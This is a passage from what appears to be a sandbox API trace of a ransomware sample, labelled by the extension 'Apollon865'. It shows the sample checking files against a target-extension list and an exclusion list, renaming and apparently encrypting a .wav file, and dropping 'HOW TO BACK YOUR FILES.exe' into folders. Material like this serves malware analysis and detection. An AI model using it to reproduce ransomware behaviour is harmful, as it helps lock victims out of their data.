	[0088.300] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.300] lstrlenW (lpString="sis") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.300] lstrlenW (lpString="spq") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.300] lstrlenW (lpString="te") returned 2
	[0088.300] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.300] lstrlenW (lpString="teacher") returned 7
	[0088.300] lstrcmpiW (lpString1="N6C.wav", lpString2="teacher") returned -1
	[0088.300] lstrlenW (lpString="tmd") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.300] lstrlenW (lpString="tps") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.300] lstrlenW (lpString="trc") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.300] lstrlenW (lpString="trc") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.300] lstrlenW (lpString="trm") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.301] lstrlenW (lpString="udb") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.301] lstrlenW (lpString="udl") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.301] lstrlenW (lpString="usr") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.301] lstrlenW (lpString="v12") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.301] lstrlenW (lpString="vis") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.301] lstrlenW (lpString="vpd") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.301] lstrlenW (lpString="vvv") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.301] lstrlenW (lpString="wdb") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.301] lstrlenW (lpString="wmdb") returned 4
	[0088.301] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.301] lstrlenW (lpString="wrk") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.301] lstrlenW (lpString="xdb") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.301] lstrlenW (lpString="xld") returned 3
	[0088.301] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.301] lstrlenW (lpString="xmlff") returned 5
	[0088.301] lstrcmpiW (lpString1="C.wav", lpString2="xmlff") returned -1
	[0088.301] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\sX9rznfL ar_NVoN6C.wav.Apollon865") returned 107
	[0088.301] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\sX9rznfL ar_NVoN6C.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\sch6vogm3pbemdup0_i\\sx9rznfl ar_nvon6c.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\sX9rznfL ar_NVoN6C.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\sch6vogm3pbemdup0_i\\sx9rznfl ar_nvon6c.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\sX9rznfL ar_NVoN6C.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\sch6vogm3pbemdup0_i\\sx9rznfl ar_nvon6c.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.303] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=11946) returned 1
	[0088.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.303] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.304] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.304] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.304] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31b0, lpName=0x0) returned 0x15c
	[0088.305] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31b0) returned 0x100000
	[0088.314] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.315] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.315] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.316] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.316] CloseHandle (hObject=0x15c) returned 1
	[0088.316] CloseHandle (hObject=0x9c) returned 1
	[0088.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.317] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8a42f0, ftCreationTime.dwHighDateTime=0x1d4c595, ftLastAccessTime.dwLowDateTime=0x99601580, ftLastAccessTime.dwHighDateTime=0x1d4ca5c, ftLastWriteTime.dwLowDateTime=0x99601580, ftLastWriteTime.dwHighDateTime=0x1d4ca5c, nFileSizeHigh=0x0, nFileSizeLow=0x2eaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sX9rznfL ar_NVoN6C.wav", cAlternateFileName="SX9RZN~1.WAV")) returned 0
	[0088.317] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.318] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b10
	[0088.318] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu"
	[0088.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0088.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0088.318] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu") returned 50
	[0088.318] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu"
	[0088.318] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.318] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\hzmu\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.319] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.319] GetLastError () returned 0x0
	[0088.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.319] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.319] CloseHandle (hObject=0x10c) returned 1
	[0088.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.319] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc43bc9a0, ftCreationTime.dwHighDateTime=0x1d4cb03, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3039c6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.320] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.320] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.320] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.320] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc43bc9a0, ftCreationTime.dwHighDateTime=0x1d4cb03, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3039c6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.320] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.320] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.320] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.320] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.320] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3039c6d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.320] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.320] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3039c6d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0088.320] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.320] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a50
	[0088.320] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en"
	[0088.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0088.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en") returned 61
	[0088.320] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en"
	[0088.320] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.320] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\a4jjdxzf6um92en\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.321] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.322] GetLastError () returned 0x0
	[0088.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.322] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.322] CloseHandle (hObject=0x10c) returned 1
	[0088.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.322] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.322] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb2dcc0, ftCreationTime.dwHighDateTime=0x1d4c56d, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3039c6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.322] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.322] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.322] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.322] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb2dcc0, ftCreationTime.dwHighDateTime=0x1d4c56d, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3039c6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.322] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.322] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.322] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.322] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.323] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc06a020, ftCreationTime.dwHighDateTime=0x1d4ccfd, ftLastAccessTime.dwLowDateTime=0x85fdbc0, ftLastAccessTime.dwHighDateTime=0x1d4c97a, ftLastWriteTime.dwLowDateTime=0x85fdbc0, ftLastWriteTime.dwHighDateTime=0x1d4c97a, nFileSizeHigh=0x0, nFileSizeLow=0x55be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aesHtl.mp3", cAlternateFileName="")) returned 1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="Apollon865.txt.exe") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2=".") returned 1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="..") returned 1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="windows") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="bootmgr") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="temp") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="pagefile.sys") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="boot") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="ids.txt") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="ntuser.dat") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="perflogs") returned -1
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2="MSBuild") returned -1
	[0088.323] lstrlenW (lpString="aesHtl.mp3") returned 10
	[0088.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\*") returned 63
	[0088.323] lstrcpyW (in: lpString1=0x119e684, lpString2="aesHtl.mp3" | out: lpString1="aesHtl.mp3") returned="aesHtl.mp3"
	[0088.323] lstrlenW (lpString="aesHtl.mp3") returned 10
	[0088.323] lstrlenW (lpString="Apollon865") returned 10
	[0088.323] lstrlenW (lpString=".dll") returned 4
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2=".dll") returned 1
	[0088.323] lstrlenW (lpString=".lnk") returned 4
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2=".lnk") returned 1
	[0088.323] lstrlenW (lpString=".ini") returned 4
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2=".ini") returned 1
	[0088.323] lstrlenW (lpString=".sys") returned 4
	[0088.323] lstrcmpiW (lpString1="aesHtl.mp3", lpString2=".sys") returned 1
	[0088.323] lstrlenW (lpString="aesHtl.mp3") returned 10
	[0088.323] lstrlenW (lpString="bak") returned 3
	[0088.323] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0088.323] lstrlenW (lpString="ba_") returned 3
	[0088.323] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0088.324] lstrlenW (lpString="dbb") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0088.324] lstrlenW (lpString="vmdk") returned 4
	[0088.324] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0088.324] lstrlenW (lpString="rar") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0088.324] lstrlenW (lpString="zip") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0088.324] lstrlenW (lpString="tgz") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0088.324] lstrlenW (lpString="vbox") returned 4
	[0088.324] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0088.324] lstrlenW (lpString="vdi") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0088.324] lstrlenW (lpString="vhd") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0088.324] lstrlenW (lpString="vhdx") returned 4
	[0088.324] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0088.324] lstrlenW (lpString="avhd") returned 4
	[0088.324] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0088.324] lstrlenW (lpString="db") returned 2
	[0088.324] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0088.324] lstrlenW (lpString="db2") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0088.324] lstrlenW (lpString="db3") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0088.324] lstrlenW (lpString="dbf") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0088.324] lstrlenW (lpString="mdf") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0088.324] lstrlenW (lpString="mdb") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0088.324] lstrlenW (lpString="sql") returned 3
	[0088.324] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0088.324] lstrlenW (lpString="sqlite") returned 6
	[0088.325] lstrcmpiW (lpString1="tl.mp3", lpString2="sqlite") returned 1
	[0088.325] lstrlenW (lpString="sqlite3") returned 7
	[0088.325] lstrcmpiW (lpString1="Htl.mp3", lpString2="sqlite3") returned -1
	[0088.325] lstrlenW (lpString="sqlitedb") returned 8
	[0088.325] lstrcmpiW (lpString1="sHtl.mp3", lpString2="sqlitedb") returned -1
	[0088.325] lstrlenW (lpString="xml") returned 3
	[0088.325] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0088.325] lstrlenW (lpString="$er") returned 3
	[0088.325] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0088.325] lstrlenW (lpString="4dd") returned 3
	[0088.325] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0088.325] lstrlenW (lpString="4dl") returned 3
	[0088.325] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0088.325] lstrlenW (lpString="^^^") returned 3
	[0088.325] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0088.325] lstrlenW (lpString="abs") returned 3
	[0088.325] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0088.325] lstrlenW (lpString="abx") returned 3
	[0088.325] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0088.325] lstrlenW (lpString="accdb") returned 5
	[0088.325] lstrcmpiW (lpString1="l.mp3", lpString2="accdb") returned 1
	[0088.325] lstrlenW (lpString="accdc") returned 5
	[0088.325] lstrcmpiW (lpString1="l.mp3", lpString2="accdc") returned 1
	[0088.325] lstrlenW (lpString="accde") returned 5
	[0088.325] lstrcmpiW (lpString1="l.mp3", lpString2="accde") returned 1
	[0088.325] lstrlenW (lpString="accdr") returned 5
	[0088.325] lstrcmpiW (lpString1="l.mp3", lpString2="accdr") returned 1
	[0088.325] lstrlenW (lpString="accdt") returned 5
	[0088.325] lstrcmpiW (lpString1="l.mp3", lpString2="accdt") returned 1
	[0088.325] lstrlenW (lpString="accdw") returned 5
	[0088.325] lstrcmpiW (lpString1="l.mp3", lpString2="accdw") returned 1
	[0088.325] lstrlenW (lpString="accft") returned 5
	[0088.325] lstrcmpiW (lpString1="l.mp3", lpString2="accft") returned 1
	[0088.325] lstrlenW (lpString="adb") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.326] lstrlenW (lpString="adb") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.326] lstrlenW (lpString="ade") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0088.326] lstrlenW (lpString="adf") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0088.326] lstrlenW (lpString="adn") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0088.326] lstrlenW (lpString="adp") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0088.326] lstrlenW (lpString="alf") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0088.326] lstrlenW (lpString="ask") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0088.326] lstrlenW (lpString="btr") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0088.326] lstrlenW (lpString="cat") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0088.326] lstrlenW (lpString="cdb") returned 3
